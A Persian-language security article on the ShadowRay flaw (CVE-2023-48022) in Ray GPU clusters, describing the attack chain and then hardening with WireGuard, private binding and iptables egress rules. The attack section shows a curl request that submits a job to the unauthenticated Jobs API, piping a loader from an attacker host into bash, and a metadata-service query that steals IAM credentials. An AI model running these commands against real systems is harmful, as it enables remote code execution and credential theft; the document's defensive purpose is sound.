جهش خیرهکننده مدلهای بنیادین مولد و الگوریتمهای یادگیری عمیق توزیعشده، خوشههای محاسباتی مجهز به واحدهای پردازش گرافیکی (GPU) را به باارزشترین و راهبردیترین داراییهای زیرساختی در سازمانهای فناورانه بدل ساخته است. برای همگامسازی پیشآموزش مدلها، پیادهسازی یادگیری تقویتی بر مبنای بازخورد انسانی (RLHF) و پردازش بلادرنگ درخواستها بر روی صدها کارت گرافیک پیوسته، تیمهای مهندسی به ابزارهای هماهنگکننده تخصصی تکیه میکنند.
در این میان، پلتفرم متنباز Ray که توسط Anyscale توسعه یافته و در پیشرفتهترین آزمایشگاههای هوش مصنوعی جهان پیادهسازی شده، جایگاهی محوری یافته است. با این حال، معماری اولیه Ray با تمرکز بر تبادل پرسرعت داده در بستر شبکههای داخلی ایمن بنا شد و اصل عدم اعتماد ذاتی (Zero-Trust) در آن نادیده گرفته شد. فقدان احراز هویت دوجانبه در سرویسهای مدیریتی پیشفرض، زمینه را برای هجمهای فراگیر با شناسه CVE-2023-48022 هموار ساخت که در محافل امنیت سایبری با عنوان ShadowRay شناخته میشود.
+-------------------------------------------------------------------------------+
| زنجیره نفوذ به خوشههای گرافیکی SHADOWRAY |
+-------------------------------------------------------------------------------+
| ۱. پویش پورتهای باز محافظتنشده |
| └─ شناسایی داشبورد Ray Dashboard (پورت TCP 8265) در اینترنت یا شبکه داخلی |
| ۲. تزریق دستورات پردازشی از راه دور با REST API |
| └─ ارسال درخواست بدون احراز هویت به آدرس: POST /api/jobs/ |
| ۳. پخش بار پردازشی از طریق دیمن Raylet |
| └─ نود اصلی (Head node) وظایف اجرایی را به نودهای ورکر میفرستد (TCP 10001)|
| ۴. اجرای کد از راه دور (RCE) روی سرورهای پردازش گرافیکی |
| └─ اجرای اسکریپت شل تحت دسترسی فرآیند فعال (غالباً root در کانتینرها) |
| ۵. بهرهبرداری پس از نفوذ و غارت دادهها |
| ├─ استخراج غیرقانونی رمزارز با کارتهای NVIDIA H100/A100 (T1496) |
| ├─ استعلام سرویس متادیتای ابری (169.254.169.254) جهت سرقت توکنهای IAM |
| └─ نشت غیرمجاز فایلهای وزن مدل (.safetensors) و مجموعههای آموزشی حساس |
+-------------------------------------------------------------------------------+
حفاظت از زیرساختهای رایانش توزیعشده هوش مصنوعی در گرو عبور از فرضیات اعتماد در سطح اپلیکیشن و برپایی حریمی رمزنگاریشده در لایه سوم شبکه است.
ساختار فنی Ray و ریشه آسیبپذیری CVE-2023-48022
فریمورک Ray مبتنی بر الگوی سلسلهمراتبی نود اصلی و گرههای محاسباتی (Head Node — Worker Nodes) عمل میکند. ارزیابی دقیق ریسکهای نفوذ شبکه مستلزم بررسی کارکرد هریک از پورتهای عملیاتی است.
۱. توپولوژی ساختاری و پورتهای کلیدی Ray
یک پیکربندی عملیاتی Ray از اجزای زیر تشکیل میگردد:
- داشبورد Ray Dashboard و وبسرویس Jobs API (پورت 8265): نمایش گرافیکی مصرف منابع سختافزاری و ثبت لاگها، به همراه ارائه درگاه HTTP REST برای ارسال وظایف پایتون (
/api/jobs/). - انبار کنترل سراسری GCS (پورت 6379): ذخیرهسازی دادههای ساختاری، صفهای پردازشی و گراف وظایف با استفاده از پایگاه داده کلید-مقدار داخلی.
- سرور کاربری Ray Client (پورت 10001): ایجاد نشستهای تعاملی از راه دور توسط توسعهدهندگان پایتون با کلاستر.
- دیمن Raylet و حافظه اشتراکی Plasma (پورتهای 10002 تا 19999): اجرای فراخوانیهای رویه دوردست (RPC)، هماهنگسازی رم و انتقال حجم عظیم تانسورها میان پردازندهها.
توپولوژی شبکه فریمورک Ray:
[ شبکه خارجی / سابنت غیرقابل اعتماد ]
│
▼ (ارتباطات بدون رمز عبور: TCP 8265 / 10001)
┌────────────────────────────────────────────────────────┐
│ نود اصلی و هدایتکننده کلاستر (Ray Head Node) │
│ ├── رابط کاربری وب و REST API (پورت 8265) │
│ ├── انبار کنترل سراسری GCS (پورت 6379) │
│ └── سرور کلاینت Ray Client (پورت 10001) │
└───────────────────────┬────────────────────────────────┘
│ تبادلات داخلی gRPC / RPC
┌───────────────┴───────────────┐
▼ ▼
┌──────────────────────┐ ┌──────────────────────┐
│ نود محاسباتی ورکر ۱ │ │ نود محاسباتی ورکر ۲ │
│ ├── دیمن Raylet │ │ ├── دیمن Raylet │
│ └── 8x NVIDIA H100 │ │ └── 8x NVIDIA H100 │
└──────────────────────┘ └──────────────────────┘
۲. سازوکار رخداد حمله ShadowRay (CVE-2023-48022)
سازندگان Ray با این تصور که دیوارههای آتش بیرونی سازمان امنیت را تضمین میکنند، مکانیزم تایید هویت داخلی در نرمافزار قرار ندادند. اما زمانی که کلاستر در کوبرنتیز (توسط KubeRay) یا روی ماشینهای ابری پیاده میشود، این سرویسها غالباً روی 0.0.0.0 قرار گرفته یا پشت کنترلرهای ورودی بدون احراز هویت رها میشوند.
مهاجمان با پایش پورت TCP 8265، میتوانند با ارسال یک درخواست ساده HTTP اجرای اسکریپت دلخواه را کلید بزنند:
# ارسال وظیفه مخرب به نود اصلی Ray بدون نیاز به احراز هویت
curl -X POST "http://<target-ray-head>:8265/api/jobs/" \
-H "Content-Type: application/json" \
-d '{
"entrypoint": "curl -s http://attacker-c2[.]xyz/loader.sh | bash",
"runtime_env": {
"env_vars": {"CLUSTER_TARGET": "ai-training"}
}
}'
نود اصلی پس از دریافت، وظیفه را در GCS ثبت کرده و توسط Raylet روی نودهای ورکر مستقر میسازد. بدین ترتیب اسکریپت روی سرورهای قدرتمند کارت گرافیک با دسترسی فرآیند جاری (که در کانتینرهای داکر اغلب root است) اجرا میشود.
۳. پیشروی جانبی و نفوذ به سرویسهای متادیتای ابری (IMDS)
با دستیابی به محیط شل در کانتینر، نفوذگران سرویسهای فراداده ارائهدهنده ابری (IMDSv1) را مورد پرسوجو قرار میدهند:
# استعلام از سرویس متادیتا جهت سرقت توکنهای دسترسی IAM
curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/
با دسترسی به این کلیدها، مهاجمان میتوانند منابع ابری دیگر سازمان (نظیر سطلهای ذخیرهسازی S3) را بررسی نموده و وزنهای مدلهای محرمانه را به سرقت ببرند یا سرورهای جدیدی را برای استخراج رمزارز فعال کنند.
گلوگاههای آسیبپذیری شبکه و مسیرهای خروج دادهها
استفاده از پروکسی معکوس متداول (مانند Nginx با احراز هویت اولیه) تنها ورودی داشبورد را محدود میکند، در حالی که مسیرهای داخلی میان گرهها (پورتهای 6379 و 10001 و پورتهای پویا) همچنان بهصورت متن ساده و بدون تایید هویت در سوییچهای شبکه به تبادل میپردازند.
در شبکههای فاقد بخشبندی، نفوذ به سروری غیرمرتبط در همان شبکه محلی به مهاجم اجازه میدهد بستههای RPC کلاستر را شنود کند، مقادیر محاسباتی را دستکاری نماید یا قطعات مدل را از روی بستهها استخراج کند.
خطرات تهدیدکننده شبکه کلاستر:
[ مهاجم / سیستم نفوذیافته در شبکه محلی ]
│
├── (۱) دسترسی به پورت 8265 -> اجرای کد با استفاده از Jobs API
│
├── (۲) سرقت متادیتای ابری -> درخواست به 169.254.169.254 برای ربودن کلیدها
│
├── (۳) شنود تبادلات داخلی -> دریافت تانسورهای رمزشدهنشده در بستر LAN
│
└── (۴) باز کردن Reverse Shell -> ارسال ترافیک TCP به سمت سرور فرماندهی
مهار این تهدیدات مستلزم جداسازی قطعی گرهها از شبکههای عمومی و تجمیع آنها در بستر یک شبکه مش امن است.
معماری نفوذناپذیر Zero-Trust: شبکه مش WireGuard و ریزبخشبندی
ایجاد امنیتی پایدار برای خوشههای هوش مصنوعی متضمن برپایی شبکهای رمزنگاریشده با WireGuard در لایه ۳، تفکیک دسترسیها و پایش سفتوسخت خروجیها است.
+-------------------------------------------------------------------------------+
| معماری چندلایه امنیتی خوشههای هوش مصنوعی |
+-------------------------------------------------------------------------------+
| لایه ۱: شبکه مش رمزنگاریشده WireGuard در لایه ۳ (10.66.0.0/24) |
| ├─ محدودسازی تبادلات میان نودها صرفاً به محدوده آدرسهای مجازی اختصاصی |
| ├─ رمزنگاری سختافزاری ChaCha20-Poly1305 بر روی تمامی فراخوانیها و حافظه |
| └─ عدم گوشسپاری به پورتها بر روی کارتهای شبکه فیزیکی یا آیپیهای عمومی |
+-------------------------------------------------------------------------------+
| لایه ۲: ریزبخشبندی ترافیک خروجی و مسدودسازی سرویس فراداده |
| ├─ انسداد کامل دسترسی به 169.254.169.254 از سوی کانتینرهای محاسباتی |
| ├─ پیشگیری از تماس ورکرها با مقاصد و آیپیهای خارجی تاییدنشده |
| └─ بهرهگیری از Anycast DNS جهت خنثیسازی دامنههای سرورهای C2 |
+-------------------------------------------------------------------------------+
| لایه ۳: راهبری از راه دور منحصراً از مسیر تونل امن VPN |
| ├─ محدود ساختن داشبورد Ray به آیپی اختصاصی WireGuard (10.66.0.1) |
| ├─ ورود مهندسان صرفاً از طریق احراز هویت در نرمافزار کلاینت WireGuard |
| └─ ثبت تغییرناپذیر تمامی درخواستها و فرامین ارسالی جهت حسابرسی امنیتی |
+-------------------------------------------------------------------------------+
۱. پیادهسازی شبکه مش رمزنگاریشده WireGuard برای نودهای GPU
به جای اتصال سرویسها به آدرس همگانی (0.0.0.0)، به هریک از سرورها نشانی ثابتی در زیرشبکه مجازی WireGuard (مثلاً 10.66.0.0/24) اختصاص داده میشود.
نمونه تنظیمات در نود اصلی (Head Node):
# /etc/wireguard/wg-ai.conf (نود هدایتکننده Ray)
[Interface]
Address = 10.66.0.1/24
PrivateKey = <کلید_خصوصی_نود_اصلی>
ListenPort = 51820
# پذیرش ترافیک تنها از طریق رابط مجازی
PostUp = iptables -A INPUT -i wg-ai -p tcp --dport 8265 -j ACCEPT
PostDown = iptables -D INPUT -i wg-ai -p tcp --dport 8265 -j ACCEPT
# نود ورکر ۱
[Peer]
PublicKey = <کلید_عمومی_ورکر_۱>
AllowedIPs = 10.66.0.11/32
Endpoint = 192.168.10.11:51820
PersistentKeepalive = 25
# نود ورکر ۲
[Peer]
PublicKey = <کلید_عمومی_ورکر_۲>
AllowedIPs = 10.66.0.12/32
Endpoint = 192.168.10.12:51820
PersistentKeepalive = 25
اجرای فرآیندهای Ray با الزام به اتصال به این آدرس مجازی صورت میپذیرد:
# راهاندازی نود اصلی مقید به آدرس مش WireGuard
ray start --head \
--node-ip-address=10.66.0.1 \
--dashboard-host=10.66.0.1 \
--port=6379 \
--dashboard-port=8265 \
--disable-usage-stats
نودهای ورکر نیز از طریق همین بستر امن متصل میشوند (--address=10.66.0.1:6379 --node-ip-address=10.66.0.11). کلیه دادههای ردوبدل شده میان پردازندهها در سطح هسته لینوکس با الگوریتم ChaCha20-Poly1305 محافظت میشوند.
۲. پایش و محدودسازی ترافیک خروجی و حفاظت از فراداده
حتی در صورت نفوذ اولیه به یک کانتینر، فایروال سیستمعامل میزبان مانع از ایجاد نشستهای معکوس یا دستیابی به متادیتای سرور ابری میشود.
اسکریپت فایروال حفاظتی سرورهای پردازش گرافیکی:
#!/usr/bin/env bash
# اسکریپت مسدودسازی متادیتا و کنترل جریان خروجی سرورهای GPU
set -euo pipefail
WG_IF="wg-ai"
METADATA_IP="169.254.169.254"
# سیاست پیشفرض: مسدودسازی بستهها
iptables -P FORWARD DROP
# پاکسازی جداول پیشین
iptables -F
iptables -X
# اجازه به ارتباطات تاییدشده و فعال
iptables -A INPUT -m conntrack --ctstate ESTABLISHED,RELATED -j ACCEPT
iptables -A OUTPUT -m conntrack --ctstate ESTABLISHED,RELATED -j ACCEPT
# انسداد قطعی دسترسی کانتینرها به سرویس متادیتای ابری
iptables -A OUTPUT -d "$METADATA_IP" -j DROP
# مجاز بودن ارتباطات داخلی صرفاً در بستر شبکه WireGuard
iptables -A OUTPUT -o "$WG_IF" -d 10.66.0.0/24 -j ACCEPT
# قطع اتصالات مستقیم خروجی از طریق کارت شبکه فیزیکی
iptables -A OUTPUT -p tcp -m multiport --dports 22,80,443,4444,8080 -o eth0 -j DROP
# هدایت اجباری پرسوجوهای DNS به کارگزار Anycast در تونل
iptables -t nat -A OUTPUT -p udp --dport 53 -o "$WG_IF" -j ACCEPT
iptables -t nat -A OUTPUT -p tcp --dport 53 -o "$WG_IF" -j ACCEPT
iptables -A OUTPUT -p udp --dport 53 -j REJECT --reject-with icmp-port-unreachable
iptables -A OUTPUT -p tcp --dport 53 -j REJECT --reject-with tcp-reset
echo "قوانین ایزولهسازی خروجی نودهای GPU اعمال شدند."
راستیآزمایی و ارزیابی عملیاتی پایداری کلاستر
برای بررسی صحت ایزولهسازی کلاستر در مقابل کاوشهای غیرمجاز، میتوان آزمایشی را از سیستمی خارج از شبکه مش اجرا نمود:
#!/usr/bin/env bash
# اسکریپت ممیزی امنیتی پورتهای کلاستر Ray
TARGET_IP="192.168.10.10" # آدرس فیزیکی نود اصلی در شبکه محلی
echo "[*] گام ۱: بررسی پورت داشبورد 8265 روی کارت شبکه فیزیکی..."
if nc -z -v -w 3 "$TARGET_IP" 8265 2>&1 | grep -q "succeeded"; then
echo "[!] هشدار جدی: پورت 8265 از شبکه فیزیکی در دسترس است! کلاستر ناامن است."
else
echo "[+] وضعیت امن: پورت 8265 مسدود است."
fi
echo "[*] گام ۲: بررسی پورت کلاینت 10001..."
if nc -z -v -w 3 "$TARGET_IP" 10001 2>&1 | grep -q "succeeded"; then
echo "[!] هشدار: پورت 10001 باز است و خطر اجرای کد وجود دارد."
else
echo "[+] وضعیت امن: پورت 10001 کاملاً محافظت شده است."
fi
بسته بودن پورتها تضمین میکند که تعامل با کلاستر و نظارت بر وظایف تنها از طریق تبادل کلیدهای امنیتی با کلاینتهای مجاز VPN امکانپذیر خواهد بود.
نتیجهگیری
رخدادهای امنیتی مربوط به کارزار ShadowRay نشان دادند که زیرساختهای نوین هوش مصنوعی نباید بر مبنای اعتماد سادهلوحانه به امنیت محیط پیرامون راهاندازی شوند. در فضایی که کارتهای پردازش گرافیکی میلیونها دلار ارزش دارند و کلیدیترین داراییهای دانشی سازمانها را میپرورانند، ایمنسازی صوری پورتهای ظاهری دیگر کارساز نیست.
با استقرار یک شبکه مش رمزنگاریشده با WireGuard در لایه سوم، تحدید دسترسی سرویسهای Ray به آدرسهای مجازی و پیادهسازی تفکیک در ترافیک خروجی، دژی مستحکم پدید میآید. بدین ترتیب پردازشهای توزیعشده هوش مصنوعی در برابر تسخیر منابع، سوءاستفادههای غیرقانونی و غارت مدلهای اختصاصی همواره ایمن باقی میمانند.



